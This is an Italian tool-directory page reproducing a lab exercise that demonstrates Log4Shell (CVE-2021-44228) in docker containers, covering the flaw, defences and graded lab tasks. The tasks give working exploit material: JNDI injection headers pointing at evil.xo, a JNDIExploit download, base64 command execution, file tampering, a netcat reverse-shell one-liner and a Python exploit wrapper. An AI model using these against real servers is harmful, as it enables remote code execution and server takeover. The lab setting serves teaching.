Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Log4Shell-CVE-2021-44228-Demo — Demo di Log4Shell CVE-2021-44228 | Kitploit
Strumenti/GitHubGitHub/ra890927/log4shell-cve-2021-44228-demo
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCommand and ControlApprendimento e FormazioneStrumento di Accesso RemotoLab e Pratica
GitHub
ra890927/log4shell-cve-2021-44228-demo

Log4Shell-CVE-2021-44228-Demo

Demo di Log4Shell CVE-2021-44228

Vedi Repository
34 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021–44228 Demo

1. Introduzione a CVE-2021–44228

Alla fine del 2021, la notizia più importante nel mondo della sicurezza informatica è stata la vulnerabilità di Log4j, identificata come CVE-2021-44228 e nota anche come Log4Shell. Nel sistema di valutazione delle vulnerabilità CVSS è stata giudicata con 10 punti, il livello più grave, ed è considerata la vulnerabilità più importante degli ultimi anni dopo Heartbleed e ShellShock. C'è persino chi l'ha descritta come una «vulnerabilità di livello bomba nucleare», a testimonianza di quanto profondo sia il suo impatto. Questo progetto analizza CVE-2021-44228 e ne propone un'implementazione pratica in laboratorio.

2. Informazioni su Log4j

Un Logfile (file di registro) è un file che registra gli eventi verificatisi in un sistema operativo o in un software in esecuzione, oppure i messaggi inviati tra utenti di software di chat online. Molti sistemi operativi, framework software e programmi includono sistemi di file di registro. Java dispone di un pacchetto di logging molto comodo, chiamato Log4j. Questo pacchetto appartiene alla Apache Software Foundation, quindi il nome completo è Apache Log4j.

Log4j è uno strumento molto comodo, ampiamente utilizzato dai programmi Java. Spesso gli ingegneri del software devono scrivere i dati di un programma in esecuzione in file di registro, oppure in altri database per un uso successivo. Questo è lo scopo di Log4j: può ricevere una stringa da un punto (ad esempio l'ID utente inserito nella schermata di accesso) e scriverla in un altro punto (ad esempio il campo di immissione dati del processo di autenticazione). Oltre alla copia/incolla di base, Log4j può anche esaminare e interpretare il contenuto delle stringhe. E l'interpretazione è un'operazione pericolosa, perché a meno che il programma non ripulisca prima la stringa, è facile che durante l'interpretazione si verifichino problemi. Log4j non ripulisce la stringa prima di interpretarla, quindi un attaccante ha la possibilità di effettuare un attacco di injection.

3 CVE-2021–44228

CVE-2021-44228 è una vulnerabilità grave, perché consente a un attaccante non autenticato di eseguire RCE (Remote Code Execution, esecuzione remota di codice) su un server Java. La vulnerabilità deriva dal modo in cui log4j gestisce i messaggi di log. Se un attaccante invia un messaggio appositamente elaborato (contenente una stringa simile a ${jndi:ldap://rogueldapserver.com/a}), ciò può portare al caricamento di una external code class o a una message lookup e all'esecuzione di quel codice, portando al verificarsi di RCE.

Di seguito è illustrato il flusso di base dell'RCE.

  1. L'attaccante invia una richiesta contenente l'attacco di injection al Vulnerable Server. Ad esempio: inviare una richiesta http
    root@kitploit:~
    $ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
    
  2. La stringa inviata viene passata a log4j per la registrazione nel log. Allo stesso tempo, Log4j riceve anche ${jndi:ldap://evil.xo/x}
  3. Log4j esamina e interpreta il contenuto della stringa, quindi JNDI (Java Naming and Directory Interface) interroga il server LDAP. LDNP è un protocollo di rete che fornisce controllo degli accessi e mantiene directory di informazioni distribuite tramite il protocollo IP.
  4. Il server LDAP è un server malintenzionato: dopo aver ricevuto la query JNDI, analizza il contenuto iniettato e risponde con la directory richiesta da JNDI, che contiene una classe Java dannosa o un comando.
  5. Il Vulnerable Server esegue la risposta ricevuta da JNDI e l'iniezione dell'attaccante riesce.

Come difendersi dalla vulnerabilità Log4j

  1. Ricostruire il pacchetto software utilizzando l'ultima versione di Log4j (la versione attuale è la 2.17.xx); inoltre, controllare le ultime informazioni sulle correzioni sul sito della Apache Foundation.
  2. Configurare un WAF (Web Application Firewall) definendo regole di intrusione per filtrare le stringhe di input di log4j; tuttavia, questo è più un metodo che cura il sintomo e non la causa, perché l'attaccante ha la possibilità di nascondere le stringhe, ad esempio usando la codifica base64 per eludere il rilevamento tramite scansione del testo.
  3. Disattivare temporaneamente la funzione di log finché non viene applicata la correzione oppure
  4. aggiornare il codice. Potrebbe essere necessario commentare tutte le chiamate a Log4j, quindi l'applicazione potrebbe perdere alcune funzionalità, ad esempio non sarà più possibile inoltrare i messaggi di un utente a un altro utente. Tra l'altro, è proprio così che è stata scoperta questa vulnerabilità: alcuni giocatori di Minecraft hanno scoperto che se incollavano un comando Log4j nella casella di chat, il messaggio veniva eseguito direttamente come comando, invece di essere inviato come messaggio.

Lab Environment

1. Configurazione dell'ambiente

Scaricare prima la VM SEED Ubuntu 20.04; questa VM fornisce un ambiente docker già installato. Download

Download di JNDIExploit

root@kitploit:~
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip

Container Setup

root@kitploit:~
$ docker-compose build  # Build the container image
$ docker-compose up     # Start the container
$ docker-compose down   # Shut down the container

# Aliases for the Compose commands above
$ dcbuild   # Alias for: docker-compose build
$ dcup      # Alias for: docker-compose up
$ dcdown    # Alias for: docker-compose down

Container Command

root@kitploit:~
$ dockps        # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>   # Alias for: docker exec -it <id> /bin/bash

# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#

Per semplificare i passaggi, tutti i server si trovano nella stessa LAN

Lab Task

Task 1: Using Log4j

In questo Task l'utente può acquisire familiarità con il funzionamento di log4j. L'utente può usare l'header X-Api-Version per far registrare a log4j un log.

root@kitploit:~
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: <version-number>'

Se il Server analizza correttamente la request che hai inviato, restituirà un Hello World! Nel report, annota il risultato restituito dal Server e se il Server ha analizzato correttamente la request e registrato il log.

Task 2: Launch Log4Shell

Nel 2013, il pacchetto Log4j ha aggiunto il «plugin JNDILookup», che consente agli sviluppatori di utilizzare JNDI in combinazione con LDAP per ottenere oggetti di dati Java da altri JNDITutorial esterni.

Successivamente, useremo log4j appena utilizzato in combinazione con JNDIExploit per far eseguire al Server i comandi che vogliamo.

root@kitploit:~
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'

Crea un file secret.txt nella cartella /tmp e accedi al server per verificare che il file sia stato creato con successo.


Nota-1: <content> non può contenere direttamente il comando, è necessario convertirlo
Nota-2: poiché vulnerable-app non dispone di /bin/bash come shell utilizzabile, se vuoi verificare il file puoi usare il comando docker

root@kitploit:~
$ docker exec vulnerable-app ls /tmp

Uso dettagliato di JNDIExploit

Task 3: Modifying Server File

Dopo i task precedenti, abbiamo scoperto che vulnerable-app esegue qualsiasi comando base64 dell'attaccante; se l'attaccante vuole compiere operazioni più complesse, può inviare uno script di attacco shell script al server perché lo esegua.

root@kitploit:~
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html

Lo script sopra modifica il punteggio del sito web; il punteggio è memorizzato in index.html. Prima eseguilo con successo e indica le differenze. Successivamente, modifica lo script in modo che il file del punteggio venga cambiato con il numero che desideri.


Nota-1: un altro metodo comodo per modificare i file è sed
Nota-2: poiché vulnerable-app non consente all'utente di visualizzare /var/www tramite browser, se vuoi verificare il file puoi usare il comando docker

root@kitploit:~
$ docker exec vulnerable-app cat /var/www/index.html

Task 4: Creating Revserse Shell using Log4Shell

Dopo i task precedenti, siamo già in grado di convertire i comandi che vogliamo eseguire in base64 e farli eseguire al server; per avere il pieno controllo del server, possiamo usare i comandi per creare una reverse shell.

root@kitploit:~
# <> 是使用者需要修改的內容
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>

Per agevolare le operazioni, forniamo uno script Python per condurre l'attacco.

root@kitploit:~
import os
import sys
import base64
import requests
                    
ldap = '###'        # user modify
server_ip = '###'   # user modify

cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
root@kitploit:~
$ ./script '<command>'

Nota: vulnerable-app non dispone di /bin/bash né di /dev/tcp, quindi non è possibile usare il metodo normale della reverse shell; possiamo però creare un file pipe per effettuare letture e scritture su di esso.

root@kitploit:~
$ mkfifo <file-name>

Reference

https://github.com/christophetd/log4shell-vulnerable-app
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo
https://github.com/Mr-xn/JNDIExploit-1
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641

Scarica lo strumento